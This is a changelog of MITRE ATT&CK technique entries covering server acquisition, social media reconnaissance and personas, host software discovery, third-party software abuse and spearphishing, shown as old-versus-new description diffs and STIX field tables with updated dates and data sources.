| description | Before compromising a victim, adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). | Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent physical servers that ca |
| > | rent physical servers that can be used during targeting. Us | > | n be used during targeting. Use of servers allows an adversa | ||
| > | e of servers allows an adversary to stage, launch, and execu | > | ry to stage, launch, and execute an operation. During post-c | ||
| > | te an operation. During post-compromise activity, adversarie | > | ompromise activity, adversaries may utilize servers for vari | ||
| > | s may utilize servers for various tasks, including for Comma | > | ous tasks, including for Command and Control. Instead of com | ||
| > | nd and Control. Instead of compromising a third-party [Serve | > | promising a third-party [Server](https://attack.mitre.org/te | ||
| > | r](https://attack.mitre.org/techniques/T1584/004) or renting | > | chniques/T1584/004) or renting a [Virtual Private Server](ht | ||
| > | a [Virtual Private Server](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | ||
| > | ues/T1583/003), adversaries may opt to configure and run the | > | y opt to configure and run their own servers in support of o | ||
| > | ir own servers in support of operations. Adversaries may on | > | perations. Adversaries may only need a lightweight setup if | ||
| > | ly need a lightweight setup if most of their activities will | > | most of their activities will take place using online infra | ||
| > | take place using online infrastructure. Or, they may need t | > | structure. Or, they may need to build extensive infrastructu | ||
| > | o build extensive infrastructure if they want to test, commu | > | re if they want to test, communicate, and control other aspe | ||
| > | nicate, and control other aspects of their activities on the | > | cts of their activities on their own systems.(Citation: NYTS | ||
| > | ir own systems.(Citation: NYTStuxnet) | > | tuxnet) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 16:49:11.340000+00:00 | 2021-04-15 02:51:18.167000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) | Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:37:15.275000+00:00 | 2021-01-20 18:12:12.134000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Creation |
| x_mitre_data_sources[2] | Binary file metadata | Module: Module Load |
| x_mitre_data_sources[3] | Process use of network | Process: OS API Execution |
| x_mitre_data_sources[4] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[5] | Loaded DLLs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[6] | DLL monitoring | Network Traffic: Network Connection Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search social | t | 1 | Adversaries may search social media for information about vi |
| > | media for information about victims that can be used during | > | ctims that can be used during targeting. Social media sites | ||
| > | targeting. Social media sites may contain various informatio | > | may contain various information about a victim organization, | ||
| > | n about a victim organization, such as business announcement | > | such as business announcements as well as information about | ||
| > | s as well as information about the roles, locations, and int | > | the roles, locations, and interests of staff. Adversaries | ||
| > | erests of staff. Adversaries may search in different social | > | may search in different social media sites depending on what | ||
| > | media sites depending on what information they seek to gath | > | information they seek to gather. Threat actors may passivel | ||
| > | er. Threat actors may passively harvest data from these site | > | y harvest data from these sites, as well as use information | ||
| > | s, as well as use information gathered to create fake profil | > | gathered to create fake profiles/groups to elicit victim’s i | ||
| > | es/groups to elicit victim’s into revealing specific informa | > | nto revealing specific information (i.e. [Spearphishing Serv | ||
| > | tion (i.e. [Spearphishing Service](https://attack.mitre.org/ | > | ice](https://attack.mitre.org/techniques/T1598/001)).(Citati | ||
| > | techniques/T1598/001)).(Citation: Cyware Social Media) Infor | > | on: Cyware Social Media) Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Tech | > | es/T1598) or [Search Open Technical Databases](https://attac | ||
| > | nical Databases](https://attack.mitre.org/techniques/T1596)) | > | k.mitre.org/techniques/T1596)), establishing operational res | ||
| > | , establishing operational resources (ex: [Establish Account | > | ources (ex: [Establish Accounts](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1585) or [Compromise | > | chniques/T1585) or [Compromise Accounts](https://attack.mitr | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)), and/ | > | e.org/techniques/T1586)), and/or initial access (ex: [Spearp | ||
| > | or initial access (ex: [Spearphishing via Service](https://a | > | hishing via Service](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1566/003)). | > | 66/003)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.235000+00:00 | 2021-04-15 03:52:40.958000+00:00 |
| description | Before compromising a victim, adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate social media accounts t |
| > | tivate social media accounts that can be used during targeti | > | hat can be used during targeting. Adversaries can create soc | ||
| > | ng. Adversaries can create social media accounts that can be | > | ial media accounts that can be used to build a persona to fu | ||
| > | used to build a persona to further operations. Persona deve | > | rther operations. Persona development consists of the develo | ||
| > | lopment consists of the development of public information, p | > | pment of public information, presence, history and appropria | ||
| > | resence, history and appropriate affiliations.(Citation: NEW | > | te affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHa | ||
| > | SCASTER2014)(Citation: BlackHatRobinSage) For operations in | > | tRobinSage) For operations incorporating social engineering | ||
| > | corporating social engineering, the utilization of a persona | > | , the utilization of a persona on social media may be import | ||
| > | on social media may be important. These personas may be fic | > | ant. These personas may be fictitious or impersonate real pe | ||
| > | titious or impersonate real people. The persona may exist on | > | ople. The persona may exist on a single social media site or | ||
| > | a single social media site or across multiple sites (ex: Fa | > | across multiple sites (ex: Facebook, LinkedIn, Twitter, etc | ||
| > | cebook, LinkedIn, Twitter, etc.). Establishing a persona on | > | .). Establishing a persona on social media may require deve | ||
| > | social media may require development of additional document | > | lopment of additional documentation to make them seem real. | ||
| > | ation to make them seem real. This could include filling out | > | This could include filling out profile information, developi | ||
| > | profile information, developing social networks, or incorpo | > | ng social networks, or incorporating photos. Once a person | ||
| > | rating photos. Once a persona has been developed an advers | > | a has been developed an adversary can use it to create conne | ||
| > | ary can use it to create connections to targets of interest. | > | ctions to targets of interest. These connections may be dire | ||
| > | These connections may be direct or may include trying to co | > | ct or may include trying to connect through others.(Citation | ||
| > | nnect through others.(Citation: NEWSCASTER2014)(Citation: Bl | > | : NEWSCASTER2014)(Citation: BlackHatRobinSage) These account | ||
| > | ackHatRobinSage) These accounts may be leveraged during othe | > | s may be leveraged during other phases of the adversary life | ||
| > | r phases of the adversary lifecycle, such as during Initial | > | cycle, such as during Initial Access (ex: [Spearphishing via | ||
| > | Access (ex: [Spearphishing via Service](https://attack.mitre | > | Service](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | .org/techniques/T1566/003)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Social media monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:58:13.557000+00:00 | 2021-04-15 03:10:35.708000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise soc | t | 1 | Adversaries may compromise social media accounts that can be |
| > | ial media accounts that can be used during targeting. For op | > | used during targeting. For operations incorporating social | ||
| > | erations incorporating social engineering, the utilization o | > | engineering, the utilization of an online persona may be imp | ||
| > | f an online persona may be important. Rather than creating a | > | ortant. Rather than creating and cultivating social media pr | ||
| > | nd cultivating social media profiles (i.e. [Social Media Acc | > | ofiles (i.e. [Social Media Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1585/001)), adve | > | g/techniques/T1585/001)), adversaries may compromise existin | ||
| > | rsaries may compromise existing social media accounts. Utili | > | g social media accounts. Utilizing an existing persona may e | ||
| > | zing an existing persona may engender a level of trust in a | > | ngender a level of trust in a potential victim if they have | ||
| > | potential victim if they have a relationship, or knowledge o | > | a relationship, or knowledge of, the compromised persona. | ||
| > | f, the compromised persona. A variety of methods exist for | > | A variety of methods exist for compromising social media acc | ||
| > | compromising social media accounts, such as gathering crede | > | ounts, such as gathering credentials via [Phishing for Infor | ||
| > | ntials via [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598), purchasi | ||
| > | rg/techniques/T1598), purchasing credentials from third-part | > | ng credentials from third-party sites, or by brute forcing c | ||
| > | y sites, or by brute forcing credentials (ex: password reuse | > | redentials (ex: password reuse from breach credential dumps) | ||
| > | from breach credential dumps).(Citation: AnonHBGary) Prior | > | .(Citation: AnonHBGary) Prior to compromising social media a | ||
| > | to compromising social media accounts, adversaries may condu | > | ccounts, adversaries may conduct Reconnaissance to inform de | ||
| > | ct Reconnaissance to inform decisions about which accounts t | > | cisions about which accounts to compromise to further their | ||
| > | o compromise to further their operation. Personas may exist | > | operation. Personas may exist on a single site or across mu | ||
| > | on a single site or across multiple sites (ex: Facebook, Li | > | ltiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compro | ||
| > | nkedIn, Twitter, etc.). Compromised social media accounts ma | > | mised social media accounts may require additional developme | ||
| > | y require additional development, this could include filling | > | nt, this could include filling out or modifying profile info | ||
| > | out or modifying profile information, further developing so | > | rmation, further developing social networks, or incorporatin | ||
| > | cial networks, or incorporating photos. Adversaries can use | > | g photos. Adversaries can use a compromised social media pr | ||
| > | a compromised social media profile to create new, or hijack | > | ofile to create new, or hijack existing, connections to targ | ||
| > | existing, connections to targets of interest. These connect | > | ets of interest. These connections may be direct or may incl | ||
| > | ions may be direct or may include trying to connect through | > | ude trying to connect through others.(Citation: NEWSCASTER20 | ||
| > | others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSag | > | 14)(Citation: BlackHatRobinSage) Compromised profiles may be | ||
| > | e) Compromised profiles may be leveraged during other phases | > | leveraged during other phases of the adversary lifecycle, s | ||
| > | of the adversary lifecycle, such as during Initial Access ( | > | uch as during Initial Access (ex: [Spearphishing via Service | ||
| > | ex: [Spearphishing via Service](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | hniques/T1566/003)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Social media monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:57:43.708000+00:00 | 2021-04-15 02:59:06.872000+00:00 |
| description | Before compromising a victim, adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host s |
| > | tion about the victim's host software that can be used durin | > | oftware that can be used during targeting. Information about | ||
| > | g targeting. Information about installed software may includ | > | installed software may include a variety of details such as | ||
| > | e a variety of details such as types and versions on specifi | > | types and versions on specific hosts, as well as the presen | ||
| > | c hosts, as well as the presence of additional components th | > | ce of additional components that might be indicative of adde | ||
| > | at might be indicative of added defensive protections (ex: a | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | ntivirus, SIEMs, etc.). Adversaries may gather this informa | > | saries may gather this information in various ways, such as | ||
| > | tion in various ways, such as direct collection actions via | > | direct collection actions via [Active Scanning](https://atta | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595) | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | (ex: listening ports, server banners, user agent strings) o | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | r [Phishing for Information](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | ques/T1598). Adversaries may also compromise sites then incl | > | lso compromise sites then include malicious content designed | ||
| > | ude malicious content designed to collect host information f | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | rom visitors.(Citation: ATT ScanBox) Information about the i | > | anBox) Information about the installed software may also be | ||
| > | nstalled software may also be exposed to adversaries via onl | > | exposed to adversaries via online or other accessible data s | ||
| > | ine or other accessible data sets (ex: job postings, network | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | maps, assessment reports, resumes, or purchase invoices). G | > | umes, or purchase invoices). Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Open Websites/Domains] | > | [Search Open Websites/Domains](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1593) or [Search Open | > | niques/T1593) or [Search Open Technical Databases](https://a | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1596)), establishing operational | ||
| > | 96)), establishing operational resources (ex: [Develop Capab | > | resources (ex: [Develop Capabilities](https://attack.mitre. | ||
| > | ilities](https://attack.mitre.org/techniques/T1587) or [Obta | > | org/techniques/T1587) or [Obtain Capabilities](https://attac | ||
| > | in Capabilities](https://attack.mitre.org/techniques/T1588)) | > | k.mitre.org/techniques/T1588)), and/or for initial access (e | ||
| > | , and/or for initial access (ex: [Supply Chain Compromise](h | > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1195) or [External Remot | > | ques/T1195) or [External Remote Services](https://attack.mit | ||
| > | e Services](https://attack.mitre.org/techniques/T1133)). | > | re.org/techniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.162000+00:00 | 2021-04-15 03:23:57.876000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access to and use third-party software | t | 1 | Adversaries may gain access to and use third-party software |
| > | suites installed within an enterprise network, such as admin | > | suites installed within an enterprise network, such as admin | ||
| > | istration, monitoring, and deployment systems, to move later | > | istration, monitoring, and deployment systems, to move later | ||
| > | ally through the network. Third-party applications and softw | > | ally through the network. Third-party applications and softw | ||
| > | are deployment systems may be in use in the network environm | > | are deployment systems may be in use in the network environm | ||
| > | ent for administration purposes (e.g., SCCM, VNC, HBSS, Alti | > | ent for administration purposes (e.g., SCCM, HBSS, Altiris, | ||
| > | ris, etc.). Access to a third-party network-wide or enterpr | > | etc.). Access to a third-party network-wide or enterprise-w | ||
| > | ise-wide software system may enable an adversary to have rem | > | ide software system may enable an adversary to have remote c | ||
| > | ote code execution on all systems that are connected to such | > | ode execution on all systems that are connected to such a sy | ||
| > | a system. The access may be used to laterally move to other | > | stem. The access may be used to laterally move to other syst | ||
| > | systems, gather information, or cause a specific effect, su | > | ems, gather information, or cause a specific effect, such as | ||
| > | ch as wiping the hard drives on all endpoints. The permissi | > | wiping the hard drives on all endpoints. The permissions r | ||
| > | ons required for this action vary by system configuration; l | > | equired for this action vary by system configuration; local | ||
| > | ocal credentials may be sufficient with direct access to the | > | credentials may be sufficient with direct access to the thir | ||
| > | third-party system, or specific domain credentials may be r | > | d-party system, or specific domain credentials may be requir | ||
| > | equired. However, the system may require an administrative a | > | ed. However, the system may require an administrative accoun | ||
| > | ccount to log in or to perform it's intended purpose. | > | t to log in or to perform it's intended purpose. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:27:01.403000+00:00 | 2020-12-11 17:00:00.938000+00:00 |
| description | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Binary file metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages via third-party |
| > | hing messages via third-party services to elicit sensitive i | > | services to elicit sensitive information that can be used du | ||
| > | nformation that can be used during targeting. Spearphishing | > | ring targeting. Spearphishing for information is an attempt | ||
| > | for information is an attempt to trick targets into divulgin | > | to trick targets into divulging information, frequently cred | ||
| > | g information, frequently credentials or other actionable in | > | entials or other actionable information. Spearphishing for i | ||
| > | formation. Spearphishing for information frequently involves | > | nformation frequently involves social engineering techniques | ||
| > | social engineering techniques, such as posing as a source w | > | , such as posing as a source with a reason to collect inform | ||
| > | ith a reason to collect information (ex: [Establish Accounts | > | ation (ex: [Establish Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1585) or [Compromise | > | hniques/T1585) or [Compromise Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)) and/or | > | .org/techniques/T1586)) and/or sending multiple, seemingly u | ||
| > | sending multiple, seemingly urgent messages. All forms of | > | rgent messages. All forms of spearphishing are electronical | ||
| > | spearphishing are electronically delivered social engineerin | > | ly delivered social engineering targeted at a specific indiv | ||
| > | g targeted at a specific individual, company, or industry. I | > | idual, company, or industry. In this scenario, adversaries s | ||
| > | n this scenario, adversaries send messages through various s | > | end messages through various social media services, personal | ||
| > | ocial media services, personal webmail, and other non-enterp | > | webmail, and other non-enterprise controlled services.(Cita | ||
| > | rise controlled services.(Citation: ThreatPost Social Media | > | tion: ThreatPost Social Media Phishing) These services are m | ||
| > | Phishing) These services are more likely to have a less-stri | > | ore likely to have a less-strict security policy than an ent | ||
| > | ct security policy than an enterprise. As with most kinds of | > | erprise. As with most kinds of spearphishing, the goal is to | ||
| > | spearphishing, the goal is to generate rapport with the tar | > | generate rapport with the target or get the target's intere | ||
| > | get or get the target's interest in some way. Adversaries ma | > | st in some way. Adversaries may create fake social media acc | ||
| > | y create fake social media accounts and message employees fo | > | ounts and message employees for potential job opportunities. | ||
| > | r potential job opportunities. Doing so allows a plausible r | > | Doing so allows a plausible reason for asking about service | ||
| > | eason for asking about services, policies, and information a | > | s, policies, and information about their environment. Advers | ||
| > | bout their environment. Adversaries may also use information | > | aries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Social Media](ht | > | efforts (ex: [Social Media](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1593/001) or [Search Vict | > | ues/T1593/001) or [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)) to craft persuasive and bel | ||
| > | )) to craft persuasive and believable lures. | > | ievable lures. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.093000+00:00 | 2021-04-15 03:43:12.843000+00:00 |
